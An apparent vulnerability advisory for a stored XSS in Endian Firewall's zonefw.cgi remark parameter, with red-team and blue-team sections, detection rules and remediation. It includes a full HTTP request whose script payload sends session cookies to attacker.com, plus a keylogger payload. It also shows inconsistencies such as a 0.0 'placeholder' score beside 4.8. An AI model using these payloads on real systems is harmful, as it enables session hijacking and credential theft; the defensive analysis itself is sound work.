CVE-2026-34809

Executive Summary

CVE-2026-34809 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /cgi-bin/zonefw.cgi endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further internal network compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary appliance (Endian Firewall). Supply chain risk is limited to the vendor's update distribution mechanism.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – A victim must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.8). Exploitation requires authentication, but the stored nature of the XSS increases the impact.

Deep Dive & Mechanics

The vulnerability resides in the zonefw.cgi CGI script, which handles firewall zone configuration. The remark parameter is used to store a user-provided description for a firewall rule. The input is not sanitized or encoded before being stored in the backend database or configuration file. When the zone configuration page is rendered, the stored remark is injected directly into the HTML without proper escaping.

Attack Flow:

1. Attacker authenticates to the Endian Firewall web interface.
2. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the remark parameter in a POST request to /cgi-bin/zonefw.cgi.
3. The payload is stored on the server.
4. Another authenticated user (e.g., an admin) navigates to the zone configuration page.
5. The stored payload is executed in the victim's browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding and input validation on the remark parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# In zonefw.cgi (simplified)
my $remark = param('remark');
# Store $remark directly without sanitization
store_zone_config($zone_id, $remark);
# Later, when rendering:
print "<td>$remark</td>";  # No HTML escaping

Patched Code (Hypothetical):

# In zonefw.cgi (patched)
use HTML::Entities;
my $remark = param('remark');
# Sanitize input
$remark = encode_entities($remark);
store_zone_config($zone_id, $remark);
# When rendering:
print "<td>$remark</td>";  # Now safe

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Endian Firewall instance (version <= 3.3.25).
• Valid credentials for a low-privileged user.

Exploit Steps:

1. Log in to the web interface.
2. Navigate to the firewall zone configuration page.
3. Intercept the request to /cgi-bin/zonefw.cgi using a proxy (e.g., Burp Suite).
4. Modify the remark parameter to include a malicious payload:

   POST /cgi-bin/zonefw.cgi HTTP/1.1
   Host: target-endian-firewall
   Cookie: session=valid_session_cookie
   Content-Type: application/x-www-form-urlencoded
   
   zone_id=1&remark=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the request.
6. Wait for an admin to view the zone configuration page.
7. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/zonefw.cgi for suspicious remark parameters containing <script>, onerror, onload, or other HTML event handlers.
• Look for outbound connections to unknown domains from the firewall's web interface.

Hunting:

• Search logs for the string remark= followed by HTML tags.
• Check the zone configuration database for stored XSS payloads.

Lab Setup:

• Use a virtualized Endian Firewall instance (e.g., VMware, VirtualBox).
• Set up a simple HTTP server to capture exfiltrated data (e.g., python3 -m http.server 80).
• Use Burp Suite or OWASP ZAP to intercept and modify requests.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/zonefw.cgi with remark parameter containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the firewall's IP.
• File System:
  • Modified zone configuration files containing JavaScript payloads (e.g., /etc/endian/firewall/zone.conf).
• Logs:
  • Web server logs showing unusual remark values (e.g., remark=<script>...).
  • System logs indicating unexpected outbound connections.

Detection Engineering

YARA Rule

rule CVE_2026_34809_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall zone configuration files"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34809"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Endian Firewall Stored XSS via remark Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34809 by injecting XSS payloads into the remark parameter.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/zonefw.cgi'
        cs-uri-query|contains: 'remark='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34809 Endian Firewall Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/zonefw.cgi"; http_uri; content:"remark="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the remark feature if not essential, by modifying the CGI script to ignore the parameter.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the remark parameter.
3. Restrict access to the web interface to trusted IPs only.

Long-Term Fix:

• Apply input validation and output encoding to the remark parameter in /cgi-bin/zonefw.cgi.
• Upgrade to a patched version when released by Endian.
• Conduct a security audit of all CGI scripts for similar vulnerabilities.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

  location /cgi-bin/zonefw.cgi {
      if ($args ~* "remark=.*<script") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 62601870F2919EDEF355096D] */}